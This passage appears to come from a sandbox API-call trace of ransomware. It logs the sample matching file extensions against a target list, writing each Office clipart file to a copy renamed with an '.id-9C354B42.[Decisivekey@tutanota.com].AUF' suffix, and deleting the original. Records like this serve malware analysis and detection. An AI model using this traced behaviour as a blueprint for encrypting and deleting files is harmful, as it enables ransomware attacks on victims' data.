office\\clipart\\pub60cor\\clip.wmf")) returned 1 [0218.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0218.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0218.810] lstrlenW (lpString=".doc") returned 4 [0218.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.810] lstrlenW (lpString=".docx") returned 5 [0218.810] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0218.810] lstrlenW (lpString=".pdf") returned 4 [0218.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.810] lstrlenW (lpString=".xls") returned 4 [0218.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.810] lstrlenW (lpString=".xlsx") returned 5 [0218.810] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0218.810] lstrlenW (lpString=".ppt") returned 4 [0218.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0218.810] lstrlenW (lpString=".zip") returned 4 [0218.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.810] lstrlenW (lpString=".rar") returned 4 [0218.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.810] lstrlenW (lpString=".bz2") returned 4 [0218.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.810] lstrlenW (lpString=".7z") returned 3 [0218.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0218.810] lstrlenW (lpString=".dbf") returned 4 [0218.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0218.810] lstrlenW (lpString=".1cd") returned 4 [0218.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0218.810] lstrlenW (lpString=".jpg") returned 4 [0218.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.811] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=5270) returned 1 [0218.811] CloseHandle (hObject=0x224) returned 1 [0218.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20 [0218.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0218.811] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.811] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.812] GetLastError () returned 0x0 [0218.812] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1496, lpOverlapped=0x0) returned 1 [0218.851] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0218.851] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.852] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0218.852] SetEndOfFile (hFile=0x1d8) returned 1 [0218.852] CloseHandle (hObject=0x1d8) returned 1 [0218.852] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.852] SetEndOfFile (hFile=0x224) returned 1 [0218.852] CloseHandle (hObject=0x224) returned 1 [0218.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 1 [0218.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0218.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0218.853] lstrlenW (lpString=".doc") returned 4 [0218.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.853] lstrlenW (lpString=".docx") returned 5 [0218.853] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0218.853] lstrlenW (lpString=".pdf") returned 4 [0218.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.853] lstrlenW (lpString=".xls") returned 4 [0218.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.853] lstrlenW (lpString=".xlsx") returned 5 [0218.853] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0218.853] lstrlenW (lpString=".ppt") returned 4 [0218.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0218.853] lstrlenW (lpString=".zip") returned 4 [0218.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.853] lstrlenW (lpString=".rar") returned 4 [0218.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.853] lstrlenW (lpString=".bz2") returned 4 [0218.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.853] lstrlenW (lpString=".7z") returned 3 [0218.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0218.853] lstrlenW (lpString=".dbf") returned 4 [0218.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0218.853] lstrlenW (lpString=".1cd") returned 4 [0218.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0218.854] lstrlenW (lpString=".jpg") returned 4 [0218.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.878] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=31122) returned 1 [0218.878] CloseHandle (hObject=0x1e8) returned 1 [0218.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20 [0218.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0218.879] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.879] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0218.880] GetLastError () returned 0x0 [0218.880] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x7992, lpOverlapped=0x0) returned 1 [0218.890] WriteFile (in: hFile=0x1fc, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x79a0, lpOverlapped=0x0) returned 1 [0218.892] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.892] WriteFile (in: hFile=0x1fc, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.892] SetEndOfFile (hFile=0x1fc) returned 1 [0218.892] CloseHandle (hObject=0x1fc) returned 1 [0218.892] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.892] SetEndOfFile (hFile=0x1e8) returned 1 [0218.893] CloseHandle (hObject=0x1e8) returned 1 [0218.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0218.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0218.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0218.893] lstrlenW (lpString=".doc") returned 4 [0218.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.893] lstrlenW (lpString=".docx") returned 5 [0218.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.893] lstrlenW (lpString=".pdf") returned 4 [0218.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.893] lstrlenW (lpString=".xls") returned 4 [0218.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.893] lstrlenW (lpString=".xlsx") returned 5 [0218.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.893] lstrlenW (lpString=".ppt") returned 4 [0218.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0218.893] lstrlenW (lpString=".zip") returned 4 [0218.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.893] lstrlenW (lpString=".rar") returned 4 [0218.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.894] lstrlenW (lpString=".bz2") returned 4 [0218.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.894] lstrlenW (lpString=".7z") returned 3 [0218.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0218.894] lstrlenW (lpString=".dbf") returned 4 [0218.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0218.894] lstrlenW (lpString=".1cd") returned 4 [0218.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0218.894] lstrlenW (lpString=".jpg") returned 4 [0218.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.894] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=29628) returned 1 [0218.894] CloseHandle (hObject=0x1e8) returned 1 [0218.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x20 [0218.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0218.895] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.895] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0218.896] GetLastError () returned 0x0 [0218.896] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x73bc, lpOverlapped=0x0) returned 1 [0218.932] WriteFile (in: hFile=0x1fc, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x73c0, lpOverlapped=0x0) returned 1 [0218.933] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.933] WriteFile (in: hFile=0x1fc, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.933] SetEndOfFile (hFile=0x1fc) returned 1 [0218.933] CloseHandle (hObject=0x1fc) returned 1 [0218.934] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.934] SetEndOfFile (hFile=0x1e8) returned 1 [0218.934] CloseHandle (hObject=0x1e8) returned 1 [0218.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0218.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0218.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0218.935] lstrlenW (lpString=".doc") returned 4 [0218.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.935] lstrlenW (lpString=".docx") returned 5 [0218.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.935] lstrlenW (lpString=".pdf") returned 4 [0218.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.935] lstrlenW (lpString=".xls") returned 4 [0218.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.935] lstrlenW (lpString=".xlsx") returned 5 [0218.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.935] lstrlenW (lpString=".ppt") returned 4 [0218.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0218.935] lstrlenW (lpString=".zip") returned 4 [0218.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.935] lstrlenW (lpString=".rar") returned 4 [0218.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.935] lstrlenW (lpString=".bz2") returned 4 [0218.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.935] lstrlenW (lpString=".7z") returned 3 [0218.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0218.935] lstrlenW (lpString=".dbf") returned 4 [0218.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0218.935] lstrlenW (lpString=".1cd") returned 4 [0218.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0218.936] lstrlenW (lpString=".jpg") returned 4 [0218.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.936] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2832) returned 1 [0218.936] CloseHandle (hObject=0x1e8) returned 1 [0218.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x20 [0218.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0218.936] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.936] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0218.937] GetLastError () returned 0x0 [0218.937] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xb10, lpOverlapped=0x0) returned 1 [0218.944] WriteFile (in: hFile=0x1fc, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xb20, lpOverlapped=0x0) returned 1 [0218.945] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.945] WriteFile (in: hFile=0x1fc, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.945] SetEndOfFile (hFile=0x1fc) returned 1 [0218.945] CloseHandle (hObject=0x1fc) returned 1 [0218.945] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.945] SetEndOfFile (hFile=0x1e8) returned 1 [0218.946] CloseHandle (hObject=0x1e8) returned 1 [0218.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0218.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0218.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0218.947] lstrlenW (lpString=".doc") returned 4 [0218.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.947] lstrlenW (lpString=".docx") returned 5 [0218.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.947] lstrlenW (lpString=".pdf") returned 4 [0218.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.947] lstrlenW (lpString=".xls") returned 4 [0218.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.947] lstrlenW (lpString=".xlsx") returned 5 [0218.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.947] lstrlenW (lpString=".ppt") returned 4 [0218.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0218.947] lstrlenW (lpString=".zip") returned 4 [0218.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.947] lstrlenW (lpString=".rar") returned 4 [0218.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.947] lstrlenW (lpString=".bz2") returned 4 [0218.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.947] lstrlenW (lpString=".7z") returned 3 [0218.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0218.947] lstrlenW (lpString=".dbf") returned 4 [0218.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0218.947] lstrlenW (lpString=".1cd") returned 4 [0218.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0218.947] lstrlenW (lpString=".jpg") returned 4 [0218.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.948] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=37974) returned 1 [0218.948] CloseHandle (hObject=0x1e8) returned 1 [0218.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x20 [0218.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff 